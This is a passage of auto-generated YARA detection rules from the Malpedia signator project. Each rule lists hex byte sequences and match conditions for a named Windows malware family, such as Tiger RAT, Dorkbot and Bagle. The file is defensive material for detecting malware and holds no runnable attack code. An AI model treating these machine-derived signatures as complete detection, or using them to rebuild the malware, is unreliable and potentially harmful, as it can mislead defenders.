rule MALPEDIA_Win_Clambling_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "76c3ecc2-3249-54dd-85de-02fe8ad874ce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clambling"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clambling_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "95ebecd5667958656960c5343bf195152cd54c7954e81daf96b602e90195edba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bc6 746f 488d8424a8010000 448d4612 488d8c24a0010000 }
		$sequence_1 = { 44896c2428 895c2420 e8???????? e9???????? ff15???????? 3bc6 }
		$sequence_2 = { 440fb75c2440 66453bdd 7f0b 0fb7442442 66413bc7 }
		$sequence_3 = { 7507 66893d???????? 488b0d???????? 488d542430 ff15???????? 448b442430 33d2 }
		$sequence_4 = { 7412 48ffc3 4883c010 4881fb00040000 }
		$sequence_5 = { ffd0 483bdf 7409 488bcb ff15???????? 33c0 488b5c2438 }
		$sequence_6 = { 4c8d442470 8d5601 4889442420 ff15???????? }
		$sequence_7 = { 488b542470 488b8c24a8010000 ff15???????? 8907 eb08 ff15???????? }
		$sequence_8 = { 8bc3 eb02 33c0 4883c470 415d 5f }
		$sequence_9 = { 893d???????? ff15???????? 3bc7 7507 66893d???????? }
	condition:
		7 of them and filesize < 412672
}

rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc3751c1-3c9f-5c03-98ac-f7ffbc0daf9f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hi_zor_rat_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "71847819d2d9074c6684d2c1f561750135c21371e8d9757a34aa466c08b5e5fd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 235014 0bda 8b501c 03df 8d9413aff7448b 8bde }
		$sequence_1 = { 83c002 6685c9 75f5 8dbdc8f6ffff 2bc2 83c7fe 668b4f02 }
		$sequence_2 = { c1e611 0bd6 03501c 8bfa f7d7 237810 23da }
		$sequence_3 = { 33db 68fe0f0000 8d94248e080000 33c9 53 52 }
		$sequence_4 = { 8bf8 52 57 ff15???????? 8b4d0c 8b5508 6a00 }
		$sequence_5 = { 6a00 8bf0 8d45f0 50 56 6a00 }
		$sequence_6 = { 25ffffff1f 03c0 6a40 03c0 c1ea1d }
		$sequence_7 = { 50 89bb40010000 89bd58ffffff ff15???????? }
		$sequence_8 = { 035858 8975fc 8b701c 8d9c335314c4ff 8b75f8 23f7 }
		$sequence_9 = { 0fb6b6b4490010 ff24b594490010 52 53 8bf9 e8???????? 5f }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Wonknu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5d7ac694-4f51-5dc8-9ab7-ab21fb225c95"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wonknu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wonknu_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "e2ca1c08f61486fefbae5d981f9ebfcfe0d01c7d31c8206cfd558443ffe8ed91"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 56 57 6804140000 }
		$sequence_1 = { f3a5 8bcb e8???????? 803b00 }
		$sequence_2 = { 8bfc b901050000 f3a5 8bcb e8???????? 803b00 }
		$sequence_3 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? }
		$sequence_4 = { e8???????? 8bfc b901050000 f3a5 8bcb e8???????? 803b00 }
		$sequence_5 = { c6840550ffffff00 8d8550ffffff 50 e8???????? }
		$sequence_6 = { 8bfc b901050000 f3a5 8bcb e8???????? }
		$sequence_7 = { 8d7e28 57 ff15???????? 8b4608 }
		$sequence_8 = { b901050000 f3a5 8bcb e8???????? 803b00 }
		$sequence_9 = { eb08 c6840550ffffff00 8d8550ffffff 50 e8???????? }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Thunderx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2518ca7c-7e0a-565b-be3c-84d244188fab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thunderx_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "4292a9f6c1d3812002d780fdcc81ab5726cfcf5e40c47b2cebcf85c542667c9b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 e8???????? 59 8d45b0 8bcf 50 e8???????? }
		$sequence_1 = { 75f2 85c9 7509 3bc6 740b 83e802 ebd7 }
		$sequence_2 = { 8bcb e8???????? 83c318 83c618 895de0 3bf7 75eb }
		$sequence_3 = { 8b35???????? ffd6 ff75ec ffd6 b001 eb02 32c0 }
		$sequence_4 = { 7462 8b44240c 3b05???????? 7556 8b442410 89442438 8b442414 }
		$sequence_5 = { c3 6a54 b8???????? e8???????? 8bf9 897dac }
		$sequence_6 = { 7415 ff15???????? 85c0 750b e8???????? 84c0 }
		$sequence_7 = { 59 56 8bd0 885dfc 8d8d40feffff e8???????? 59 }
		$sequence_8 = { e8???????? 8d8dc8fdffff e8???????? 8d8db0fdffff c645fc05 e8???????? }
		$sequence_9 = { 8bfa 2b7d0c eb02 8bfe }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Montysthree_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "87f022dd-6806-53c4-b097-b12b0a06ec92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.montysthree_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "49338e71bc632a417705dbca9be5623cbd05fe63eacf0615bb9fcdc5a3ff20f5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3c09 7443 3c0d 743f 3c20 743b }
		$sequence_1 = { 5f 85f6 5e 0f94c0 5b c9 }
		$sequence_2 = { 8d4d08 e8???????? ff30 6a6d ebac 66395f04 7629 }
		$sequence_3 = { c745f010000000 ff15???????? 85c0 8b35???????? 756e ffd6 3d16000980 }
		$sequence_4 = { 83ec18 68???????? e8???????? 59 8d4de8 e8???????? }
		$sequence_5 = { 68???????? e8???????? 33f6 8975fc 3935???????? 0f850a010000 56 }
		$sequence_6 = { 397dc8 7427 837dc802 7421 68???????? }
		$sequence_7 = { 56 57 ff7510 33ff ff750c 33f6 }
		$sequence_8 = { 885d77 f6456c02 7408 8d4d3c e8???????? 385d77 }
		$sequence_9 = { 8d4ddc 895dfc e8???????? 395d08 742c 53 8d45fc }
	condition:
		7 of them and filesize < 458752
}

rule MALPEDIA_Win_Tiger_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "45a8f301-bb79-5b2b-bc44-a24cf96c6108"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiger_rat_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "86fb8964d90e4f85207407bd6a1343f7cd65992f2c3c62186f5ccbef201af0b2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883fbff 7425 48c74108ffffffff ba02000000 488bcb }
		$sequence_1 = { 4883f8ff 740c 83caff 488bc8 ff15???????? 33c0 }
		$sequence_2 = { 41b831000000 48895c2420 e8???????? 488bcb }
		$sequence_3 = { 33d2 41b800020000 e8???????? c7832804000020000000 89bb30040000 48c7834c04000000000000 }
		$sequence_4 = { 0fb745ae 663b0d???????? 750d 663b05???????? }
		$sequence_5 = { 381a 7505 448bc3 eb11 4983c8ff 0f1f4000 }
		$sequence_6 = { 2bef 488bcb 4c63c5 e8???????? 442be7 488bce }
		$sequence_7 = { 49c1eb04 c0e104 0ac1 410fb6cf 0845d6 }
		$sequence_8 = { 415f 5e c3 8b5650 33c9 41b800100000 }
		$sequence_9 = { 4898 483de4000000 730f 488d0d1d840000 4803c0 8b04c1 eb02 }
		$sequence_10 = { 8b4e28 4803cf e8???????? 488bbc24c0000000 }
		$sequence_11 = { f30f7f4507 0b0d???????? 41b8d0070000 c745f74008027b }
		$sequence_12 = { 488bdf 48c1fb05 4c8d353a1c0100 83e01f 486bf058 }
		$sequence_13 = { 488d1578bd0000 488bcb 488905???????? ff15???????? 488bc8 ff15???????? 488d1570bd0000 }
		$sequence_14 = { 0fb64c05b7 48ffc0 42324c05a7 4883f80f }
		$sequence_15 = { 4c8d2d166e0100 413bff 7d77 488b0e }
	condition:
		7 of them and filesize < 557056
}

rule MALPEDIA_Win_Glasses_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e3f60807-9e3f-553f-aab3-2b9d174a2d1f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glasses_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "f8dc4024fd9ceffd71dbd3d9fead59d2a70f550a13ec78ce30cdcf445ee6a1a3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b4d10 51 68???????? 8bce e8???????? 8d4de4 }
		$sequence_1 = { e9???????? 8d8d38fdffff e9???????? 8d8d94feffff e9???????? 8d8dacfdffff e9???????? }
		$sequence_2 = { ffd0 e9???????? 389d4afbffff 0f842f070000 8d8d10fbffff 889d4bfbffff e8???????? }
		$sequence_3 = { eb05 1bc9 83d9ff 85c9 0f84643d0000 b9???????? 8d9b00000000 }
		$sequence_4 = { eb2d 8b5520 8b451c 8d8e00090000 51 8b4d18 52 }
		$sequence_5 = { e8???????? 8ac3 e9???????? 68???????? e9???????? 8b16 8b4214 }
		$sequence_6 = { f3ab 8b5510 52 e8???????? 83c404 5f 5e }
		$sequence_7 = { e9???????? 8d8df4feffff e9???????? 8d8d08ffffff e9???????? 8b542408 8d420c }
		$sequence_8 = { e8???????? 8d8d40fdffff 51 bb05000000 56 8d4d94 885dfc }
		$sequence_9 = { ff15???????? 399d60fcffff 8b854cfcffff 7306 8d854cfcffff 50 e8???????? }
	condition:
		7 of them and filesize < 4177920
}

rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "95e01109-549b-5610-b7bb-c1343e7b4ee5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dorkbot_ngrbot_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "ea5d98b6b45b739ecbab0036be4d19cc99f655fde99b26bfe861c5599dba1365"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 740c 8b8cb51cffffff 51 ffd0 eb0d 8b94b51cffffff }
		$sequence_1 = { 85f6 0f84a8020000 6a00 6800040000 8d9578fbffff }
		$sequence_2 = { ff15???????? 85c0 0f8c9f000000 8b4508 85c0 0f8494000000 8b4dfc }
		$sequence_3 = { e8???????? 8bf0 83c408 85f6 0f84dc000000 6a06 68???????? }
		$sequence_4 = { 51 7416 68???????? 52 50 e8???????? 83c410 }
		$sequence_5 = { 8b4d0c 51 50 6a00 ff15???????? 50 ff15???????? }
		$sequence_6 = { 8d85f1feffff 6a00 50 c685f0feffff00 e8???????? 8b4d14 83c40c }
		$sequence_7 = { 8d8500f8ffff 50 ff15???????? 8b550c 8b4508 8d8d00f8ffff 51 }
		$sequence_8 = { 8d55f0 52 68???????? e8???????? 83c40c 85c0 7530 }
		$sequence_9 = { b8???????? 5b 8be5 5d c3 ff15???????? 5e }
	condition:
		7 of them and filesize < 638976
}

rule MALPEDIA_Win_Bagle_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fe60543c-8794-58a6-ba42-981191e2cc82"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bagle_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "eb49ea6ae472fea8285550f6b2bf1be9757590ced359fd50f12f529f0e70029d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b03d f3aa 5b 5f }
		$sequence_1 = { e340 ac c1e010 83f901 740b }
		$sequence_2 = { 56 57 53 8b7508 8b7d0c 8b4d10 33db }
		$sequence_3 = { 6a00 6a00 6a04 50 e8???????? 0bc0 }
		$sequence_4 = { 042b aa c3 55 8bec }
		$sequence_5 = { 68???????? e8???????? 68???????? 68???????? e8???????? 6804010000 }
		$sequence_6 = { 2bf9 b03d f3aa 5b }
		$sequence_7 = { 2bf9 b03d f3aa 5b 5f 5e }
		$sequence_8 = { 0bc0 7426 6880000000 68???????? }
		$sequence_9 = { 668945f2 c745f400000000 6a06 6a01 6a02 e8???????? 8bd8 }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Ssload_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "30dda8cc-ed50-5e35-9e3b-577f2e01ce05"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ssload"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ssload_auto.yar#L1-L187"
		license_url = "N/A"
		logic_hash = "ac05084ef9800673d1ca7ea15965552cfd923f1e160cfabe8236802f68f627b1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894dd4 51 8945e0 ff10 83c404 }
		$sequence_1 = { f7e1 c1ea03 8d0492 8d0442 }
		$sequence_2 = { 50 e8???????? 83c40c 01de 89770c e9???????? 8b770c }
		$sequence_3 = { 85f6 b8ffffffff 0f48f8 81ff01020000 }
		$sequence_4 = { c745d002000000 648b0d00000000 894de8 64a300000000 }
		$sequence_5 = { 0fb6f0 83fe0c 7e0c 83fe1f 7e14 83fe20 7418 }
		$sequence_6 = { 89d5 57 53 52 e8???????? 83c40c }
		$sequence_7 = { 56 83ec2c 8b5c2444 8b6c2440 }
		$sequence_8 = { 0f57c0 0f1144240c 894c2408 89442404 }
		$sequence_9 = { 83ec0c 8db53cffffff 8baeb0000000 8b4608 }
		$sequence_10 = { 83c40c 037de0 8b55d8 39d7 }
		$sequence_11 = { 0345e8 2b45d4 8945dc e9???????? }
		$sequence_12 = { 034828 8b55fc 894a2c eb0a }
		$sequence_13 = { 034228 8945c4 6a00 6a01 6800000010 }
		$sequence_14 = { 034a10 894de0 8b45e0 3b45dc 7606 8b4de0 894ddc }
		$sequence_15 = { ffd1 83c408 ebbc 8b55fc 8b4208 50 e8???????? }
		$sequence_16 = { 034214 50 8b4df8 51 e8???????? }
		$sequence_17 = { 03420c 50 ff15???????? 8945f8 837df800 }
		$sequence_18 = { 034110 50 8b550c 52 8b4de8 e8???????? }
	condition:
		7 of them and filesize < 4950016
}

rule MALPEDIA_Win_Pterois_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3320c746-a1fd-5d65-8bd9-a08cf7741ea4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pterois"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pterois_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "40d01f41f8c6ab0bf9862ea3d2722b533235ff4ec8c712399aa15cc1e9f9196b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f82ff620000 4981f800001800 730d 4981f800200000 0f83c9620000 c5fe6f02 c4a17e6f6c02e0 }
		$sequence_1 = { 33c9 4c8d057c180100 488d154d6a0100 e8???????? 4885c0 7415 49ba7030525e472705d3 }
		$sequence_2 = { c744243000000000 8b442430 89442424 488b4c2440 4831e1 e8???????? 8b442424 }
		$sequence_3 = { 75dd 488d055b500100 483bd8 74d1 488bcb e8???????? ebc7 }
		$sequence_4 = { c7401808000000 488b4c2468 488d442470 4829c1 488b442458 48034810 }
		$sequence_5 = { 4829c4 8b842498100000 8b842490100000 488b05???????? 4831e0 4889842460100000 4c894c2458 }
		$sequence_6 = { 48890d???????? e8???????? 4c8d0d91ce0100 4c8bc0 b201 b9fdffffff e8???????? }
		$sequence_7 = { e8???????? 488b05???????? 4889442430 488d8c24600c0000 e8???????? 4889c1 }
		$sequence_8 = { e8???????? 83f800 0f851c000000 488b05???????? 488b4c2440 }
		$sequence_9 = { e8???????? 4889442420 48837c242000 0f840c000000 488b442420 c7401802000000 488b442420 }
	condition:
		7 of them and filesize < 528384
}

rule MALPEDIA_Win_Newpass_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d6b059ee-c4d5-5cd3-bec7-199d16e8018e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newpass_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "68e2df4904722bca2b5d5336a84032d81343ac67dcb544535e3fd89fb775b501"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c89642438 4c89742428 48ffc0 418bf0 4c8bf2 }
		$sequence_1 = { 4c8bc3 4c8d4820 4889442420 e8???????? 488b442440 4883c028 4883c430 }
		$sequence_2 = { cc 4885d2 7509 33c9 ff15???????? cc 4533c9 }
		$sequence_3 = { 488b4c2430 4885c9 7417 488b11 ff5210 4885c0 740c }
		$sequence_4 = { 66895d00 6685c0 7505 4c8bc3 eb0f 4c8bc7 90 }
		$sequence_5 = { e8???????? 488bf8 eb03 488bfe 488d55d8 e8???????? 488bd8 }
		$sequence_6 = { b850800000 e8???????? 482be0 48c7442428feffffff 48899c2470800000 4889b42478800000 488b05???????? }
		$sequence_7 = { 84c0 0f84c6000000 488b03 48634804 4803cb 488d9424c8000000 e8???????? }
		$sequence_8 = { 4d8d0c18 482bf9 48c1ff05 488bcf 48d1e9 498bc2 482bc1 }
		$sequence_9 = { 57 4154 4155 4156 4157 488dac24d8deffff b828220000 }
	condition:
		7 of them and filesize < 2654208
}

rule MALPEDIA_Win_Narilam_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "54e32c98-3d91-5f09-b5aa-2a231fe53ae4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.narilam_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "d58f6ba2ee444c0612b61b483f3c9e07a728833887fe26863735ef4c04a1aac5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 66c785b0feffff2c03 ba???????? 8d85e0feffff e8???????? ff85bcfeffff 8d95e0feffff }
		$sequence_1 = { e8???????? 84c0 7434 8b4370 50 8d45d0 50 }
		$sequence_2 = { e8???????? 50 ff45d8 ba???????? 8d45f4 e8???????? ff45d8 }
		$sequence_3 = { ff8d4cfeffff 8d8548ffffff ba02000000 e8???????? 66c78540feffff0c02 ba???????? 8d8544ffffff }
		$sequence_4 = { 8d850cffffff ba02000000 e8???????? 66c785b0feffffb402 ba???????? 8d8508ffffff e8???????? }
		$sequence_5 = { 6683f822 7407 8bc3 e8???????? 5b c3 80b8ec01000001 }
		$sequence_6 = { e8???????? ff4df8 ff4df8 6a00 68???????? e8???????? }
		$sequence_7 = { e8???????? 8b500c 8d45f8 e8???????? 8b45f8 50 8b8378010000 }
		$sequence_8 = { ff8de8feffff 8d45cc ba02000000 e8???????? 66c785dcfeffff7400 ba???????? 8d45c8 }
		$sequence_9 = { 7506 803f00 7401 47 8b4508 8978fc 5f }
	condition:
		7 of them and filesize < 3325952
}

rule MALPEDIA_Win_Dadjoke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea7282f2-8a4c-5601-bbd1-b76f58e52bc1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dadjoke_auto.yar#L1-L228"
		license_url = "N/A"
		logic_hash = "9c73a5622c3f32fd5cf8900e0843a3bbc9bcae66e0aa7ecc5e1cf55e72cc18b5"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 57 6800081000 6a00 }
		$sequence_1 = { 52 8b4508 0528020000 50 8b0d???????? }
		$sequence_2 = { 83ec40 56 57 8d45e0 50 e8???????? }
		$sequence_3 = { 8b45e8 50 e8???????? 83c404 898578ffffff }
		$sequence_4 = { e8???????? 83c408 8945f8 8b4d08 8b5110 52 8b45f8 }
		$sequence_5 = { 8845f4 8345d801 807df400 75ee 8b4dd8 }
		$sequence_6 = { 8b4df4 8dbc0d2cffffff b910000000 8d75ac f3a5 8b55f4 83c240 }
		$sequence_7 = { 83c414 8b4df4 64890d00000000 8be5 5d c20800 }
		$sequence_8 = { 33c9 84c0 0f94c1 8bc1 c3 a1???????? }
		$sequence_9 = { 5e c3 8bff 55 8bec 83ec10 33c0 }
		$sequence_10 = { e8???????? c3 6a04 e8???????? 59 c3 6a0c }
		$sequence_11 = { ff15???????? 85c0 7417 b920000000 }
		$sequence_12 = { 5d c3 6a04 8d458c c7458c80330000 50 }
		$sequence_13 = { 84c0 75ef b82f000000 8d55f4 }
		$sequence_14 = { 6a07 6a00 ff15???????? 85c0 0f881f010000 }
		$sequence_15 = { 83fe04 7ce7 8d45f4 c645f800 }
		$sequence_16 = { 7508 807e015a 7502 ffd6 6800400000 }
		$sequence_17 = { 8b1d???????? 51 e8???????? 8bf0 83c404 85f6 }
		$sequence_18 = { 0f85b5000000 50 ff15???????? 8d85e4faffff 50 }
		$sequence_19 = { d9c9 d9f1 833d????????00 0f85cc140000 }
		$sequence_20 = { 6804010000 85c0 57 6a00 }
		$sequence_21 = { 55 8bec 8b4d0c 85c9 7454 8b5508 8b4514 }
		$sequence_22 = { 83e908 8d7608 660fd60f 8d7f08 8b048db47c7300 ffe0 }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Scoring_Math_Tea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6a5f2479-dd77-5460-b6ab-7a1fa699026a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scoring_math_tea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scoring_math_tea_auto.yar#L1-L129"
		license_url = "N/A"
